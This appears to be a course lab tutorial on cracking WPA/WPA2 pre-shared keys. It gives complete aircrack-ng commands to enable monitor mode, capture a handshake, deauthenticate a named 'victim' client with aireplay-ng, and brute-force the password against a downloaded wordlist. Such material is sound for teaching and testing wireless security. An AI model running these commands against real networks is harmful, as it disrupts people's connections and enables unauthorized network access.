WPA/WPA2 PSK deauthentication attack

Summary

How to sniff a WPA/WPA2 handshake using a deauthentication attack and use aircrack-ng to crack the password.

Requirements and Tools

• Operating system: Ubuntu 18.04 bionic amd64
• Aircrack-ng

Description

Put your interface in monitor mode

• Use airmon-ng to put interface in monitor mode

  airmon-ng
     PHY	Interface	Driver		Chipset
     phy0	wlan0		iwlwifi		Intel Corporation Wireless 7260 (rev 83)

• First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

  airmon-ng
  Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
     PHY	Interface	Driver		Chipset
     phy0	wlan0mon	iwlwifi		Intel Corporation Wireless 7260 (rev 83)

• Kill all processes which use physical device

  airmon-ng check kill
  Killing these processes:
     PID Name
     895 wpa_supplican

• Start in monitor mode

  airmon-ng start wlan0mon 9

Check needed MAC addresses

• using wireshark or airodump-ng

  airodump-ng wlan0mon

• You will need:
  • BSSID (MAC address of access point): <bssid>
  • Access point channel: <channel>
  • MAC address of a victim, wireless client using WPA2

Capture handshak

• Get handshake or connected station

  airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

if no there is no handshake captured you need to get the MAC address of a victim and deauthenticate

• Deauthenticate using airreplay-ng

  aireplay-ng -0 1 -a <bssid> -c <victim mac address> wlan0mon

-0 means deauthentication 1 number of deauthentication frames sent -a bssid mac address -c victim mac address to deauthenticate

• examine handshake with wireshark filter eapol messages

Crack with aircrack-ng

• download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

  aircrack-ng -w <passwordlist path> -b  <bssd> psk*.cap

Reset

do not forget to turn off monitor mode and restart network manager

• Stop monitor mode

  airmon-ng stop wlan0mon
       

• Restart network manager for internet access

  service network-manager restart

Used Hardware

Notebook with Wifi interface card

Courses

• CCST 21.06.2019 (2019)

References

• https://www.aircrack-ng.org/doku.php?id=cracking_wpa